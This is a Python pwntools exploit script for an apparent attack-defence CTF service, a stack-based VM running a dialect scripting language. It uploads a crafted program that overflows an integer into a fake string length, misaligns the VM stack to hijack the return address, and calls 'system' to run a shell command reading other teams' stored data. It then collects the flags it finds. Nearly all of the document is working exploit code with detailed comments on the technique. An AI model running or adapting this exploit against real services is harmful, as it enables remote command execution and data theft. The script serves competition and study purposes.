import string
import sys
from typing import List

from pwn import *

context.log_level = "debug"

TIMEOUT = 7
PORT = 24929

FLAG_RE = re.compile(br"SAAR\{[A-Za-z0-9-_]{32}\}")

# Exploit template
# -> use addition to create a large number on the stack that will be interpreted as a string
# -> use unaligned stack to replace a return-address inside the VM with the address of an `OP_SYSCALL` instruction
# -> make the top stack element "system"
# -> provide string arg "cat <target_file>"
EXPLOIT_TEMPLATE = string.Template(
    # First, we'll introduce a mutex-variable, such that we run the actual exploit code only once
    """
Mach 's Mutex 0
"""
    
    # Next, output a string of fixed length to create an OP_SYSCALL instruction at a known offset
    # This will generate
    # 3: PUSH_STR "Test" (1+2+4 = 7)
    # 10: PUSH_INT 1 (1+2 = 3)
    # 13: PUSH_STR "puts" (1+2+4 = 7)
    # 20: SYSCALL       <-- This is where we need to jump to
    """
Brundse "TEST"
"""

    
    # Now for the hard part!
    # We need to define a function where we can mess with the stack layout
    # In essence, we want to misalign the stack such that the return-value becomes the return-**address**
    # In normal operations, the return instruction performs the following stack operations:
    #     before: [OLD_STACK] [RETADDR] [ARG1] [ARG2] [RETVAL]
    #     after:  [OLD_STACK] [RETVAL] [RETADDR]
    # If we can modify one of the arguments to take the space of *two* arguments, we can make it do the following instead:
    #     before: [OLD_STACK] [RETADDR] [ARG1] [ARG2] [RETVAL]
    #  exploited: [OLD_STACK] [RETADDR] [exploitARG2] [RETVAL]
    #     after:  [RETVAL] [OLD_STACK]
    # I.e., the former top-stack element becomes the return-address,
    # and the return-value becomes the new top element
    #
    """
Vergliggere 's Exploit holle 's A unn dann holle 's B unn dann mach allemohl
"""
    # now we need to double B often enough such that the highest bit will be set
    # starting from B = 1<<15, a total of 16 duplications/shifts should suffice
    """
    Mach 's A 31960
    Mach 's B 32768
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
    Mach 's B ('s B babbe an 's B)
"""
    # B should now be 1<<30 == 0x4000000
    # as we want to shadow argument A, which is a 4-byte int on the stack,
    # we also need to set the "length" of our string to 4.
    # Thus, in the last multiplication, we also add 4
    # Note that order-of-operations is very important here, as we can only add number while 
    # all arguments are < 0x80000000
    """
    Mach 's B 's B babbe an ('s B babbe an 4)
"""    
    # After this last step, B should have the value 0x80000004,
    # which should encode a string of length 4
    
    # A return instruction should now misalign the stack and give us control over the VM instruction pointer
    # As the return value of our function should become the new stack-top, we will return the string "system"
    """
    Tappe hemm unn holle "system"
Aweil is awwer Schluss!
"""

    # Next, we need to place fake syscall arguments onto the stack.
    # The easiest way to do this is to put the values into variables (which will be allocated in-order on the stack)
    #
    # 1. the command we want to execute. We could cat the file, but we can also just execute it on the target machine.
    #    We can even run it under `timeout` such that blocking operations (e.g. input) are not an issue
    """
Mach 's Argument "timeout 0.1s /home/saassaassaassaas/saarvm /home/saassaassaassaas/data/${target_id}"
#Mach 's Argument "ls /home/saassaassaassaas/data/"
"""
    # 2. The number of syscall arguments. In our case this is just 1
    """
Mach 's Anzahl 1
"""
    # 3. The last argument is the "syscall"/function we want to execute
    # However, it will be swapped with the return address of our function
    # Therefore, instead we need to place to address of our SYSCALL instruction into this stack slot
    """
Mach 's Syscall 20
"""   
     
    # Run everything (but only once)
    """
Wenn 's Mutex iss 0 mach allemohl
    Mach 's Mutex 1
    Holle 1 unn dann holle 1 unn dann  geh uff Trulla bei 's Exploit
Aweil is awwer Schluss!
""")


def exploit_id(target, program_id):
    exploit_program_name = "exploit" + ''.join(random.choice(string.ascii_letters) for _ in range(16 - 7))

    conn = remote(target, PORT, timeout=TIMEOUT, ssl=True)
    try:
        conn.recvuntil(b'Your choice')
        print("Selecting private program")
        conn.sendline(b'3')
        conn.recvuntil(b'Please enter a name for your program:')
        print(f"Sending program name {exploit_program_name}")
        conn.sendline(exploit_program_name.encode())
        conn.recvuntil(b'Your password is:')
        password = conn.recvline().decode().strip()
        print(f"Received password {password}")
        conn.recvuntil(b'Terminate your input with a blank line')
        program = EXPLOIT_TEMPLATE.substitute({"target_id": program_id})
        print("Sending program...")
        for line in program.splitlines():
            if line.strip():  # send all non-empty lines
                conn.sendline(line.encode())
                print(line)
        conn.sendline()  # send blank line to terminate upload
        conn.recvall()

        # 2. re-open connection to run the exploit program
        conn = remote(target, PORT, timeout=TIMEOUT, ssl=True)
        conn.recvuntil(b'Your choice')
        print("Selecting run program")
        conn.sendline(b'1')
        conn.recvuntil(b'Please enter the name of the program you\'d like to run:')
        print(f"Sending program name {exploit_program_name}")
        conn.sendline(exploit_program_name.encode())
        if b'password' in conn.recvuntil([b'Running', b'Please enter the password:']):
            # we _should_ be prompted for a password
            conn.sendline(password.encode())
        flags = FLAG_RE.findall(conn.recvall())
        if flags:
            return ";".join(f.decode() for f in flags)
    finally:
        conn.close()


def exploit(target: str, program_ids: List[str]):
    for program_id in program_ids:
        print(f'Attacking {program_id}')
        result = exploit_id(target, program_id)
        print(result)


if __name__ == '__main__':
    exploit(sys.argv[1], sys.argv[2].split(','))
